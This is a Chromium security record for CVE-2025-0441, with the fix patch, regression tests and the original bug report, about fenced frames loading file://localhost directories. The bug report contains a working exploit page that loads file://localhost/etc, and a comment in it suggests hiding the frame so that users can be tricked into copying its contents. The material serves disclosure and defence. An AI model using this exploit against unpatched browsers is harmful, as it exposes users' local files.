CVE-2025-0441
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fthird_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc |
modified | |
forthird_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc |
modified |
Files Changed
third_party/blink/common/fenced_frame/fenced_frame_utils.ccthird_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.ccthird_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
Patch
From 3505b15143306c95caf36552fef3992271d6b04e Mon Sep 17 00:00:00 2001 From: Liam Brady <[email protected]> Date: Tue, 15 Oct 2024 19:43:24 +0000 Subject: [PATCH] Fenced frame: Prevent file://localhost/* files from loading. Fenced frames are meant to be able to load the following URLs with a default constructor: - about:blank URLs - https://* URLs - http://localhost URLs The `net::IsLocalhost()` check that is currently being used for the last case is only checking that the URL starts with "localhost", not that the scheme is http/https. This allows the fenced frame to load URLs like file://localhost/path/to/file. This CL tightens the check to also check that the scheme is HTTP. The "https://localhost/*" case will still be covered by the "https://*" check. Bug: 368628042 Change-Id: If53573f5701c28e5674ecb524191cddc12b950fe Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/5902121 Reviewed-by: Shivani Sharma <[email protected]> Commit-Queue: Liam Brady <[email protected]> Cr-Commit-Position: refs/heads/main@{#1368957} --- diff --git a/third_party/blink/common/fenced_frame/fenced_frame_utils.cc b/third_party/blink/common/fenced_frame/fenced_frame_utils.cc index 18c6d28..0ddbcdd 100644 --- a/third_party/blink/common/fenced_frame/fenced_frame_utils.cc +++ b/third_party/blink/common/fenced_frame/fenced_frame_utils.cc @@ -14,13 +14,21 @@ #include "third_party/blink/public/common/frame/fenced_frame_sandbox_flags.h" #include "url/gurl.h" +namespace { + +bool IsHttpLocalhost(const GURL& url) { + return url.SchemeIs(url::kHttpScheme) && net::IsLocalhost(url); +} + +} // namespace + namespace blink { bool IsValidFencedFrameURL(const GURL& url) { if (!url.is_valid()) return false; return (url.SchemeIs(url::kHttpsScheme) || url.IsAboutBlank() || - net::IsLocalhost(url)) && + IsHttpLocalhost(url)) && !url.parsed_for_possibly_invalid_spec().potentially_dangling_markup; } diff --git a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc index 16a38e3..08a2eb2 100644 --- a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc +++ b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc @@ -188,27 +188,24 @@ } TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlHTTPDefault) { + std::vector<String> test_cases = { + "http://example.com", + "blob:https://example.com", + "file://path/to/file", + "file://localhost/path/to/file", + }; + Document& doc = GetDocument(); - auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc); - fenced_frame->setConfig( - FencedFrameConfig::Create(String("http://example.com/"))); - doc.body()->AppendChild(fenced_frame); + for (const String& url : test_cases) { + auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc); + fenced_frame->setConfig(FencedFrameConfig::Create(url)); + doc.body()->AppendChild(fenced_frame); + } + histogram_tester_.ExpectUniqueSample( kFencedFrameCreationOrNavigationOutcomeHistogram, - FencedFrameCreationOutcome::kIncompatibleURLDefault, 1); -} - -TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlOpaque) { - Document& doc = GetDocument(); - - auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc); - fenced_frame->setConfig( - FencedFrameConfig::Create(String("http://example.com"))); - doc.body()->AppendChild(fenced_frame); - histogram_tester_.ExpectUniqueSample( - kFencedFrameCreationOrNavigationOutcomeHistogram, - FencedFrameCreationOutcome::kIncompatibleURLDefault, 1); + FencedFrameCreationOutcome::kIncompatibleURLDefault, test_cases.size()); } TEST_F(HTMLFencedFrameElementTest, HistogramTestResizeAfterFreeze) { diff --git a/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html new file mode 100644 index 0000000..a8b16d7 --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html @@ -0,0 +1,25 @@ +<!DOCTYPE html> +<title>Test navigate fenced frame to http://localhost URL</title> +<script src="/resources/testharness.js"></script> +<script src="/resources/testharnessreport.js"></script> +<script src="/common/utils.js"></script> +<script src="resources/utils.js"></script> +<script src="/common/utils.js"></script> +<script src="/common/get-host-info.sub.js"></script> + +<body> +<script> +promise_test(async (t) => { + const key = token(); + const url = generateURL("http://localhost:" + get_host_info().HTTP_PORT + + "/fenced-frame/resources/embeddee.html", [key]); + attachFencedFrame(url); + + const result = await nextValueFromServer(key); + assert_equals(result, "PASS", + "The fenced frame should load a http://localhost URL."); +}, 'http://localhost URLs can load'); + +</script> +</body> +</html>
Regression Test / PoC
diff --git a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
index 16a38e3..08a2eb2 100644
--- a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
+++ b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
@@ -188,27 +188,24 @@
}
TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlHTTPDefault) {
+ std::vector<String> test_cases = {
+ "http://example.com",
+ "blob:https://example.com",
+ "file://path/to/file",
+ "file://localhost/path/to/file",
+ };
+
Document& doc = GetDocument();
- auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
- fenced_frame->setConfig(
- FencedFrameConfig::Create(String("http://example.com/")));
- doc.body()->AppendChild(fenced_frame);
+ for (const String& url : test_cases) {
+ auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
+ fenced_frame->setConfig(FencedFrameConfig::Create(url));
+ doc.body()->AppendChild(fenced_frame);
+ }
+
histogram_tester_.ExpectUniqueSample(
kFencedFrameCreationOrNavigationOutcomeHistogram,
- FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
-}
-
-TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlOpaque) {
- Document& doc = GetDocument();
-
- auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
- fenced_frame->setConfig(
- FencedFrameConfig::Create(String("http://example.com")));
- doc.body()->AppendChild(fenced_frame);
- histogram_tester_.ExpectUniqueSample(
- kFencedFrameCreationOrNavigationOutcomeHistogram,
- FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
+ FencedFrameCreationOutcome::kIncompatibleURLDefault, test_cases.size());
}
TEST_F(HTMLFencedFrameElementTest, HistogramTestResizeAfterFreeze) {
diff --git a/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
new file mode 100644
index 0000000..a8b16d7
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<title>Test navigate fenced frame to http://localhost URL</title>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script src="/common/utils.js"></script>
+<script src="resources/utils.js"></script>
+<script src="/common/utils.js"></script>
+<script src="/common/get-host-info.sub.js"></script>
+
+<body>
+<script>
+promise_test(async (t) => {
+ const key = token();
+ const url = generateURL("http://localhost:" + get_host_info().HTTP_PORT +
+ "/fenced-frame/resources/embeddee.html", [key]);
+ attachFencedFrame(url);
+
+ const result = await nextValueFromServer(key);
+ assert_equals(result, "PASS",
+ "The fenced frame should load a http://localhost URL.");
+}, 'http://localhost URLs can load');
+
+</script>
+</body>
+</html>
Original Bug Report
FencedFrame allows loading local file directories in http(s?) context
Steps to reproduce the problem
- Enable fenced frame for your PoC server (#privacy-sandbox-enrollment-overrides flag, add your PoC server domain to this list; or do PoC on websites where fencedframe usage is allowed by default)
- serve exploit.html file, navigate to //$my_poc_server_url/exploit.html
- observe fencedframe displaying file:///etc folder
PoC (exploit.html)
<body>
<script>
(async function start() {
var frame = document.body.appendChild(document.createElement("fencedframe"))
frame.setAttribute("height", "600")
frame.setAttribute("width", "600")
// we can make the iframe not visible to user to trick them into running cmd+a + cmd+c to steal the contents of the folder through clipboard
// frame.setAttribute('style', `position: absolute; left: -2000; width: 5000px; height: 5000px;`)
const blob = new Blob([``], { type: 'text/javascript' });
const blobURL = URL.createObjectURL(blob);
await window.sharedStorage.worklet.addModule(blobURL);
var fencedFrameConfig = await window.sharedStorage.selectURL(
'ab-testing',
[
{ url: "file://localhost/etc" },
],
{
resolveToConfig: true
}
);
frame.config = fencedFrameConfig;
}());
</script>
</body>
Problem Description
any ://localhost/ URI is a valid fenced frame URI https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/common/fenced_frame/fenced_frame_utils.cc;l=19
bool IsValidFencedFrameURL(const GURL& url) {
if (!url.is_valid())
return false;
return (url.SchemeIs(url::kHttpsScheme) || url.IsAboutBlank() ||
net::IsLocalhost(url)) && // <--------- does not check for protocol
!url.parsed_for_possibly_invalid_spec().potentially_dangling_markup;
}
Why can’t we load file://localhost/etc/passwd then? (theory, I’ve not confirmed it yet) https://source.chromium.org/chromium/chromium/src/+/main:content/browser/renderer_host/navigation_request.cc;l=4482-4501?q=%22Supports-Loading-Mode%20HTTP%20response%20header%22&ss=chromium%2Fchromium%2Fsrc
response to request for file directories has no headers, I suspect (not confirmed yet) that’s why should_enforce_fenced_frame_opt_in evaluates to false and the error is not thrown.
const bool should_enforce_fenced_frame_opt_in =
response_should_be_rendered_ && response_head_->headers &&
frame_tree_node_->IsInFencedFrameTree() &&
!(url.IsAboutBlank() || url.SchemeIsBlob() ||
url.SchemeIs(url::kDataScheme));
if (should_enforce_fenced_frame_opt_in &&
!IsOptedInFencedFrame(*response_head_->headers))
Version affects both stable and canary
Summary
FencedFrame allows loading local file directories in http(s?) context
Custom Questions
Reporter credit:
someoneverycurious
Additional Data
Category: Security
Chrome Channel: Stable
Regression: N/A
- https://source.chromium.org/chromium/chromium/src/+/main:content/browser/renderer_host/navigation_request.cc;l=4482-4501?q="Supports-Loading-Mode HTTP response header"&ss=chromium/chromium/src
- https://source.chromium.org/chromium/chromium/src/+/main:content/browser/renderer_host/navigation_request.cc;l=4482-4501?q=%22Supports-Loading-Mode%20HTTP%20response%20header%22&ss=chromium%2Fchromium%2Fsrc
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/common/fenced_frame/fenced_frame_utils.cc;l=19